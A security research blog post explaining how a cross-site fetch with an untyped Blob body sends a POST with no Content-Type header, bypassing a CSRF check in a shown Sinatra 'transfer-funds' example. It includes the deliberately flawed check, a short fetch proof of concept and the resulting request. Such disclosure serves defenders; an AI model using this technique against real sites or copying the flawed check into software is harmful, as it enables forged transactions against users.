Cross-Site POST Requests Without a Content-Type Header
Luke Jahnke26 November 2024

There are many different ways that web applications implement protection against Cross-Site Request Forgery (CSRF) attacks. The protections that are more implicit than explicit are generally riskier, especially when they rely on browsers never adjusting what is permitted.

One interesting attempt at CSRF protection is the rejection of requests with a Content-Type header not equal to application/json. The effectiveness of this comes from browsers only allowing application/x-www-form-urlencoded, multipart/form-data and text/plain (and possibly a few other exceptions) to be sent cross-site. It is possible to send arbitrary values, but only after the receiving website has granted permission via Cross-Origin Resource Sharing (CORS).

In 2011 this protection was bypassed by kuza55 using 307 redirects with Adobe Flash Player, resulting in CVE-2011-0059 in Firefox and CVE-2011-0447 in Ruby on Rails. Then in 2015, navigator.sendBeacon in Chrome was found to allow cross-site POST requests with an arbitrary Content-Type header, tracked as bug #490015.

As these old tricks are no longer useful, I would like to share an interesting caveat where the protection can be bypassed if implemented as in the example application below.

Figure-1: Sinatra application that is vulnerable to CSRF

require "sinatra"
require "json"

before do
  # ... authentication check ...
end

post "/transfer-funds" do
  if request.content_type && request.content_type != "application/json"
    halt 403, "CSRF detected"
  end

  transaction = JSON.parse(request.body.read)
  # ... authorization check and process transaction ...
end

There is a gotcha due to the fetch API not only accepting String objects for the body parameter, but also Blob objects. This is relevant as Blob objects are more complex than strings, containing not just data but also an associated type. Or even no type at all. By creating a Blob object without a type, then passing it to the fetch function, a HTTP POST request can be sent cross-site, without CORS, that will not have a Content-Type request header. This isn't just limited to empty request bodies either, as the data passed to Blob will become the HTTP request body.

Figure-2: fetch with POST without Content-Type

fetch("https://victim.com", {
  method: "POST",
  body: new Blob(["payload"])
});

Figure-3: Resulting HTTP request that is a POST with Content-Length but missing Content-Type

POST / HTTP/1.1
Host: victim.com
Connection: keep-alive
Content-Length: 7
sec-ch-ua: "Google Chrome"[snip...]
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 [snip...]
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: https://nastystereo.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://nastystereo.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en;q=0.9

payload
« Back to homepage